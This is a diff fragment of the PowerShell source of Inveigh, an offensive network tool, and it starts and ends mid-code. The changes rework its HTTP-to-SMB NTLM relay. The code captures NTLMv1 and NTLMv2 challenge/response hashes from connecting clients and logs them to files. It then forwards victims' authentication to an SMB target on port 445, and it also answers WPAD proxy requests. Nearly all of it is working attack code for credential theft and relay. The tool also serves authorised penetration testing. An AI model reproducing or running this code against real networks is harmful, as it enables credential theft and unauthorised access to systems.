'01-00-00-00') { - $NTLM_type = "NTLMv1" - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(48,':') - $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) - $inveigh.NTLMv1_file_queue.Add($inveigh.HTTP_NTLM_hash) - $inveigh.NTLMv1_list.Add($inveigh.HTTP_NTLM_hash) - $inveigh.console_queue.Add("$(Get-Date -format 's') - $HTTP_type NTLMv1 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) - + + if($inveigh.SMB_relay -and $HTTP_source_IP -ne $Target -and $relay_step -eq 0) + { + if($inveigh.file_output) { - $inveigh.console_queue.Add("$HTTP_type NTLMv1 challenge/response written to " + $inveigh.NTLMv1_out_file) + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay triggered by $HTTP_source_IP") + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Grabbing challenge for relay from " + $Target) } - } - - if($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address -and -not $HTTP_NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat) - { - $inveigh.IP_capture_list.Add($source_IP.IPAddressToString) - } - - } - else # NTLMv2 - { - $NTLM_type = "NTLMv2" - $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" - $NTLM_response = $NTLM_response.Insert(32,':') - $inveigh.HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response - - if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) - { - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + ")")]) - $inveigh.NTLMv2_file_queue.Add($inveigh.HTTP_NTLM_hash) - $inveigh.NTLMv2_list.Add($inveigh.HTTP_NTLM_hash) - $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from " + $inveigh.request.RemoteEndpoint.Address + "(" + $HTTP_NTLM_host_string + "):`n" + $inveigh.HTTP_NTLM_hash) - - if($inveigh.file_output) + if($inveigh.log_output) { - $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay triggered by $HTTP_source_IP") + $inveigh.log.Add("$(Get-Date -format 's') - Grabbing challenge for relay from " + $Target) } - - } + + $inveigh.console_queue.Add("$HTTP_type to SMB relay triggered by $HTTP_source_IP at $(Get-Date -format 's')") + $inveigh.console_queue.Add("Grabbing challenge for relay from $Target") + $SMB_relay_socket = New-Object System.Net.Sockets.TCPClient + $SMB_relay_socket.Client.ReceiveTimeout = 60000 + $SMB_relay_socket.Connect($Target,"445") + $HTTP_client_close = $false + $relay_step = 1 - if ($inveigh.IP_capture_list -notcontains $inveigh.request.RemoteEndpoint.Address -and -not $HTTP_NTLM_user_string.EndsWith('$') -and !$inveigh.spoofer_repeat) - { - $inveigh.IP_capture_list += $inveigh.request.RemoteEndpoint.Address - } - - } - - $inveigh.response.StatusCode = 200 - $NTLM_challenge = '' - $HTTP_raw_url_output = $true - - if ($inveigh.SMB_relay -and $inveigh.SMB_relay_active_step -eq 3) - { - - if(!$SMBRelayUsernames -or $SMBRelayUsernames -contains $HTTP_NTLM_user_string -or $SMBRelayUsernames -contains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") - { - - if($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$'))) + if(!$SMB_relay_socket.connected) { + $inveigh.console_queue.Add("SMB relay target is not responding") + $relay_step = 0 - if($inveigh.SMBRelay_failed_list -notcontains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget") + if($inveigh.file_output) { - - if($NTLM_type -eq 'NTLMv2') - { - $inveigh.console_queue.Add("Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $SMBRelaytarget")]) - $SMB_relay_response_return_bytes = SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_user_ID - $SMB_relay_response_return_bytes = $SMB_relay_response_return_bytes[1..$SMB_relay_response_return_bytes.Length] - - if(!$SMB_relay_failed -and [System.BitConverter]::ToString($SMB_relay_response_return_bytes[9..12]) -eq '00-00-00-00') - { - $inveigh.console_queue.Add("$HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication successful for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")]) - $inveigh.SMB_relay_active_step = 4 - SMBRelayExecute $SMB_relay_socket $SMB_user_ID - } - else - { - $inveigh.console_queue.Add("$HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type to SMB relay authentication failed for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string on $SMBRelayTarget")]) - $inveigh.SMBRelay_failed_list.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $SMBRelayTarget") - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - } - - } - else - { - $inveigh.console_queue.Add("NTLMv1 SMB relay not yet supported") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - NTLMv1 relay not yet supported")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() - } - + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SMB relay target is not responding") } - else + + if($inveigh.log_output) { - $inveigh.console_queue.Add("Aborting SMB relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $SMBRelayTarget") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $SMBRelayTarget")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() + $inveigh.log.Add("$(Get-Date -format 's') - SMB relay target is not responding") + } + + } + + if($relay_step -eq 1) + { + $SMB_relay_bytes = SMBRelayChallenge $SMB_relay_socket $HTTP_request_bytes $SMB_version + + if($SMB_relay_bytes.Length -le 3) + { + $relay_step = 0 + $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port + } + + } + + if($relay_step -eq 1) + { + $SMB_user_ID = $SMB_relay_bytes[34..33] + $SMB_relay_NTLMSSP = [System.BitConverter]::ToString($SMB_relay_bytes) + $SMB_relay_NTLMSSP = $SMB_relay_NTLMSSP -replace "-","" + $SMB_relay_NTLMSSP_index = $SMB_relay_NTLMSSP.IndexOf("4E544C4D53535000") + $SMB_relay_NTLMSSP_bytes_index = $SMB_relay_NTLMSSP_index / 2 + $SMB_domain_length = DataLength2 ($SMB_relay_NTLMSSP_bytes_index + 12) $SMB_relay_bytes + $SMB_domain_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 12)..($SMB_relay_NTLMSSP_bytes_index + 19)] + $SMB_target_length = DataLength2 ($SMB_relay_NTLMSSP_bytes_index + 40) $SMB_relay_bytes + $SMB_target_length_offset_bytes = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 40)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length)] + $SMB_relay_target_flag = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 22)] + $SMB_relay_NTLM_challenge = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 24)..($SMB_relay_NTLMSSP_bytes_index + 31)] + $SMB_relay_target_details = $SMB_relay_bytes[($SMB_relay_NTLMSSP_bytes_index + 56 + $SMB_domain_length)..($SMB_relay_NTLMSSP_bytes_index + 55 + $SMB_domain_length + $SMB_target_length)] + $SMB_session_ID = $SMB_relay_bytes[44..51] + + if([System.BitConverter]::ToString($SMB_relay_bytes[4..7]) -eq 'ff-53-4d-42') + { + $SMB_version -eq 'SMB1' + } + + $HTTP_NTLM_bytes = 0x4e,0x54,0x4c,0x4d,0x53,0x53,0x50,0x00,0x02,0x00,0x00,0x00 + + $SMB_domain_length_offset_bytes + + 0x05,0x82 + + $SMB_relay_target_flag + + 0xa2 + + $SMB_relay_NTLM_challenge + + 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00 + + $SMB_target_length_offset_bytes + + $SMB_relay_target_details + + $NTLM_challenge_base64 = [System.Convert]::ToBase64String($HTTP_NTLM_bytes) + $NTLM = 'NTLM ' + $NTLM_challenge_base64 + $NTLM_challenge = SMBNTLMChallenge $SMB_relay_bytes + $inveigh.HTTP_challenge_queue.Add($HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + ',' + $NTLM_challenge) + $inveigh.console_queue.Add("Received challenge $NTLM_challenge for relay from $Target") + $inveigh.console_queue.Add("Providing challenge $NTLM_challenge for relay to $HTTP_source_IP") + $relay_step = 2 + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Received challenge $NTLM_challenge for relay from $Target") + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Providing challenge $NTLM_challenge for relay to $HTTP_source_IP") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Received challenge $NTLM_challenge for relay from $Target") + $inveigh.log.Add("$(Get-Date -format 's') - Providing challenge $NTLM_challenge for relay to $HTTP_source_IP") } } else { - $inveigh.console_queue.Add("Aborting SMB relay since $HTTP_NTLM_user_string appears to be a machine account") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_user_string appears to be a machine account")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() + $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port } } else { - $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on SMB relay username list") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on relay username list")]) - $inveigh.SMB_relay_active_step = 0 - $SMB_relay_socket.Close() + $NTLM = NTLMChallengeBase64 $Challenge $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port } } + elseif([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '03-00-00-00') + { + $HTTP_NTLM_length = DataLength2 20 $HTTP_request_bytes + $HTTP_NTLM_offset = DataLength4 24 $HTTP_request_bytes + $HTTP_NTLM_domain_length = DataLength2 28 $HTTP_request_bytes + $HTTP_NTLM_domain_offset = DataLength4 32 $HTTP_request_bytes + [String]$NTLM_challenge = $inveigh.HTTP_challenge_queue -like $HTTP_source_IP + $HTTP_client.Client.RemoteEndpoint.Port + '*' + $inveigh.HTTP_challenge_queue.Remove($NTLM_challenge) + $NTLM_challenge = $NTLM_challenge.Substring(($NTLM_challenge.IndexOf(",")) + 1) + + if($HTTP_NTLM_domain_length -eq 0) + { + $HTTP_NTLM_domain_string = '' + } + else + { + $HTTP_NTLM_domain_string = DataToString $HTTP_NTLM_domain_offset $HTTP_NTLM_domain_length $HTTP_request_bytes + } + + $HTTP_NTLM_user_length = DataLength2 36 $HTTP_request_bytes + $HTTP_NTLM_user_offset = DataLength4 40 $HTTP_request_bytes + + if($HTTP_NTLM_user_length -gt 0) + { + $HTTP_NTLM_user_string = DataToString $HTTP_NTLM_user_offset $HTTP_NTLM_user_length $HTTP_request_bytes + } + else + { + $HTTP_NTLM_user_string = "" + } + $HTTP_NTLM_host_length = DataLength2 44 $HTTP_request_bytes + $HTTP_NTLM_host_offset = DataLength4 48 $HTTP_request_bytes + $HTTP_NTLM_host_string = DataToString $HTTP_NTLM_host_offset $HTTP_NTLM_host_length $HTTP_request_bytes + + if($HTTP_NTLM_length -eq 24) # NTLMv1 + { + $NTLM_type = "NTLMv1" + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[($HTTP_NTLM_offset - 24)..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(48,':') + $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_response + ":" + $NTLM_challenge + + if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) + { + $inveigh.NTLMv1_list.Add($HTTP_NTLM_hash) + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_type $NTLM_type challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_type $NTLM_type challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") + } + + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type $NTLM_type challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") + } + else + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type $NTLM_type challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") + } + + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) + { + $inveigh.NTLMv1_file_queue.Add($HTTP_NTLM_hash) + $inveigh.console_queue.Add("$HTTP_type $NTLM_type challenge/response written to " + $inveigh.NTLMv1_out_file) + } + + if($inveigh.NTLMv1_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + { + $inveigh.NTLMv1_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + } + + } + + } + else # NTLMv2 + { + $NTLM_type = "NTLMv2" + $NTLM_response = [System.BitConverter]::ToString($HTTP_request_bytes[$HTTP_NTLM_offset..($HTTP_NTLM_offset + $HTTP_NTLM_length)]) -replace "-","" + $NTLM_response = $NTLM_response.Insert(32,':') + $HTTP_NTLM_hash = $HTTP_NTLM_user_string + "::" + $HTTP_NTLM_domain_string + ":" + $NTLM_challenge + ":" + $NTLM_response + + if($NTLM_challenge -and $NTLM_response -and ($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$')))) + { + $inveigh.NTLMv2_list.Add($HTTP_NTLM_hash) + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") + } + + if($inveigh.log_output) + { + $inveigh.log.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string captured from $HTTP_source_IP($HTTP_NTLM_host_string)") + } + + if(!$inveigh.console_unique -or ($inveigh.console_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string")) + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_NTLM_hash") + } + else + { + $inveigh.console_queue.Add($(Get-Date -format 's') + " - $HTTP_type NTLMv2 challenge/response captured from $HTTP_source_IP ($HTTP_NTLM_host_string):`n$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string - not unique") + } + + if($inveigh.file_output -and (!$inveigh.file_unique -or ($inveigh.file_unique -and $inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string"))) + { + $inveigh.NTLMv2_file_queue.Add($HTTP_NTLM_hash) + $inveigh.console_queue.Add("$HTTP_type NTLMv2 challenge/response written to " + $inveigh.NTLMv2_out_file) + } + + if($inveigh.NTLMv2_username_list -notcontains "$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + { + $inveigh.NTLMv2_username_list.Add("$HTTP_source_IP $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + } + + } + + } + + $HTTP_response_status_code = 0x32,0x30,0x30 + $HTTP_response_phrase = 0x4f,0x4b + $HTTP_client_close = $true + $NTLM_challenge = "" + + if($inveigh.SMB_relay -and $relay_step -eq 2) + { + + if(!$Usernames -or $Usernames -contains $HTTP_NTLM_user_string -or $Usernames -contains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string") + { + + if($inveigh.machine_accounts -or (!$inveigh.machine_accounts -and -not $HTTP_NTLM_user_string.EndsWith('$'))) + { + + if($inveigh.SMBRelay_failed_list -notcontains "$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string $Target") + { + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $Target") + } + + $inveigh.console_queue.Add("Sending $NTLM_type response for $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string for relay to $Target") + SMBRelayResponse $SMB_relay_socket $HTTP_request_bytes $SMB_version $SMB_user_ID $SMB_session_ID + $relay_step = 0 + + } + else + { + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $Target") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $Target") + } + + $inveigh.console_queue.Add("Aborting SMB relay since $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string has already been tried on $Target") + $SMB_relay_socket.Close() + $relay_step = 0 + } + + } + else + { + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_user_string appears to be a machine account") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Aborting relay since $HTTP_NTLM_user_string appears to be a machine account") + } + + $inveigh.console_queue.Add("Aborting SMB relay since $HTTP_NTLM_user_string appears to be a machine account") + $SMB_relay_socket.Close() + $relay_step = 0 + } + + } + else + { + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on relay username list") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - $HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on relay username list") + } + + $inveigh.console_queue.Add("$HTTP_NTLM_domain_string\$HTTP_NTLM_user_string not on SMB relay username list") + $SMB_relay_socket.Close() + $relay_step = 0 + } + + } + + if($proxy_listener) + { + $HTTP_send = $false + } + + } + else + { + $HTTP_client_close = $false + } + + } + + if(!$proxy_listener -and $WPADResponse -and $HTTP_request_raw_URL -match '/wpad.dat' -and (!$ProxyIgnore -or !($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) + { + $HTTP_message = $WPADResponse + $HTTP_header_content_type = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x54,0x79,0x70,0x65,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes("application/x-ns-proxy-autoconfig") + } + + $HTTP_timestamp = Get-Date -format r + $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) + $HTTP_header_content_length = 0x43,0x6f,0x6e,0x74,0x65,0x6e,0x74,0x2d,0x4c,0x65,0x6e,0x67,0x74,0x68,0x3a,0x20 + [System.Text.Encoding]::UTF8.GetBytes($HTTP_message.Length) + $HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) + + if($HTTP_request_raw_URL -notmatch '/wpad.dat' -or ($WPADAuth -like 'NTLM*' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$HTTP_client_close) + { + $HTTP_header_authenticate_data = [System.Text.Encoding]::UTF8.GetBytes($NTLM) + } + + $packet_HTTPResponse = New-Object System.Collections.Specialized.OrderedDictionary + $packet_HTTPResponse.Add("HTTPResponse_RequestVersion",[Byte[]](0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)) + $packet_HTTPResponse.Add("HTTPResponse_StatusCode",$HTTP_response_status_code + [Byte[]](0x20)) + $packet_HTTPResponse.Add("HTTPResponse_ResponsePhrase",$HTTP_response_phrase + [Byte[]](0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_Server",[Byte[]](0x53,0x65,0x72,0x76,0x65,0x72,0x3a,0x20,0x4d,0x69,0x63,0x72,0x6f,0x73,0x6f,0x66,0x74,0x2d,0x48,0x54,0x54,0x50,0x41,0x50,0x49,0x2f,0x32,0x2e,0x30,0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_TimeStamp",[Byte[]](0x44,0x61,0x74,0x65,0x3a,0x20) + $HTTP_timestamp + [Byte[]](0x0d,0x0a)) + $packet_HTTPResponse.Add("HTTPResponse_ContentLength",$HTTP_header_content_length + [Byte[]](0x0d,0x0a)) + + if($HTTP_header_authenticate -and $HTTP_header_authenticate_data) + { + $packet_HTTPResponse.Add("HTTPResponse_AuthenticateHeader",$HTTP_header_authenticate + $HTTP_header_authenticate_data + [Byte[]](0x0d,0x0a)) + } + + if($HTTP_header_content_type) + { + $packet_HTTPResponse.Add("HTTPResponse_ContentType",$HTTP_header_content_type + [Byte[]](0x0d,0x0a)) + } + + if($HTTP_header_cache_control) + { + $packet_HTTPResponse.Add("HTTPResponse_CacheControl",$HTTP_header_cache_control + [Byte[]](0x0d,0x0a)) + } + + if($HTTP_send) + { + $packet_HTTPResponse.Add("HTTPResponse_Message",[Byte[]](0x0d,0x0a) + $HTTP_message_bytes) + $HTTP_response = ConvertFrom-PacketOrderedDictionary $packet_HTTPResponse + $HTTP_stream.Write($HTTP_response,0,$HTTP_response.Length) + $HTTP_stream.Flush() + } + + Start-Sleep -m 10 + $HTTP_request_raw_URL_old = $HTTP_request_raw_URL + $HTTP_client_handle_old = $HTTP_client.Client.Handle + + if($HTTP_client_close) + { + + if($proxy_listener) + { + $HTTP_client.Client.Close() + } + else + { + $HTTP_client.Close() + } + + } + + } + else + { + + if($HTTP_data_available -or !$HTTP_reset_delay -or $HTTP_reset_delay_stopwatch.Elapsed -ge $HTTP_reset_delay_timeout) + { + $HTTP_client.Close() + $HTTP_client_close = $true + $HTTP_reset_delay = $false } else { - $NTLM = 'NTLM' + Start-Sleep -m 100 } - + } - - [Byte[]] $HTTP_buffer = [System.Text.Encoding]::UTF8.GetBytes($inveigh.message) - $inveigh.response.ContentLength64 = $HTTP_buffer.Length - $inveigh.response.AddHeader("WWW-Authenticate",$NTLM) - $HTTP_stream = $inveigh.response.OutputStream - $HTTP_stream.Write($HTTP_buffer,0,$HTTP_buffer.Length) - $HTTP_stream.close() + } - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() + $HTTP_client.Close() + start-sleep -s 1 + $HTTP_listener.Server.blocking = $false + Start-Sleep -s 1 + $HTTP_listener.Server.Close() + Start-Sleep -s 1 + $HTTP_listener.Stop() } +# Control Relay Loop ScriptBlock $control_relay_scriptblock = { - param ($RunTime) + param ($ConsoleQueueLimit,$RelayAutoExit,$RunTime) + + function StopInveigh + { + param ([String]$exit_message) + + if($inveigh.HTTPS -and !$inveigh.HTTPS_existing_certificate -or ($inveigh.HTTPS_existing_certificate -and $inveigh.HTTPS_force_certificate_delete)) + { + + try + { + $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") + $certificate_store.Open('ReadWrite') + $certificates = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Issuer -Like "CN=" + $inveigh.certificate_issuer}) + + ForEach($certificate in $certificates) + { + $certificate_store.Remove($certificate) + } + + $certificate_store.Close() + } + catch + { + $inveigh.console_queue.Add("SSL Certificate Deletion Error - Remove Manually") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") + } + + } + + } + + if($inveigh.running) + { + Start-Sleep -S 1 + $inveigh.console_queue.Add("Inveigh exited at $(Get-Date -format 's')") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh exited due to $exit_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh exited due to $exit_message") + } + + Start-Sleep -S 1 + $inveigh.running = $false + } + + if($inveigh.relay_running) + { + Start-Sleep -S 1 + $inveigh.console_queue.Add("Inveigh Relay exited due to $exit_message at $(Get-Date -format 's')") + + if($inveigh.file_output) + { + $inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay exited due to $exit_message") + } + + if($inveigh.log_output) + { + $inveigh.log.Add("$(Get-Date -format 's') - Inveigh Relay exited due to $exit_message") + } + + Start-Sleep -S 1 + $inveigh.relay_running = $false + + } + + $inveigh.HTTPS = $false + } if($RunTime) { - $control_timeout = New-Timespan -Minutes $RunTime + $control_timeout = New-TimeSpan -Minutes $RunTime $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() } - while ($inveigh.relay_running) + while($inveigh.relay_running) { + + if($RelayAutoExit -eq 'Y' -and !$inveigh.SMB_relay) + { + Start-Sleep -S 5 + StopInveigh "disabled relay" + } if($RunTime) { if($control_stopwatch.Elapsed -ge $control_timeout) { - - if($inveigh.HTTP_listener.IsListening) - { - $inveigh.HTTP_listener.Stop() - $inveigh.HTTP_listener.Close() - } - - $inveigh.console_queue.Add("Inveigh Relay exited due to run time at $(Get-Date -format 's')") - $inveigh.log.Add($inveigh.log_file_queue[$inveigh.log_file_queue.Add("$(Get-Date -format 's') - Inveigh Relay exited due to run time")]) - Start-Sleep -m 5 - $inveigh.relay_running = $false - - if($inveigh.HTTPS) - { - & "netsh" http delete sslcert ipport=0.0.0.0:443 > $null - - try - { - $certificate_store = New-Object System.Security.Cryptography.X509Certificates.X509Store("My","LocalMachine") - $certificate_store.Open('ReadWrite') - $certificate = $certificate_store.certificates.Find("FindByThumbprint",$inveigh.certificate_thumbprint,$false)[0] - $certificate_store.Remove($certificate) - $certificate_store.Close() - } - catch - { - - if($inveigh.status_output) - { - $inveigh.console_queue.Add("SSL Certificate Deletion Error - Remove Manually") - } - - $inveigh.log.Add("$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually") - - if($inveigh.file_output) - { - "$(Get-Date -format 's') - SSL Certificate Deletion Error - Remove Manually" | Out-File $Inveigh.log_out_file -Append - } - - } - - } - - $inveigh.HTTP = $false - $inveigh.HTTPS = $false + StopInveigh "run time" } } - if($inveigh.file_output -and (!$inveigh.running -or !$inveigh.bruteforce_running)) + if($inveigh.file_output -and -not $inveigh.control) { while($inveigh.log_file_queue.Count -gt 0) { $inveigh.log_file_queue[0]|Out-File $inveigh.log_out_file -Append - $inveigh.log_file_queue.RemoveRange(0,1) + 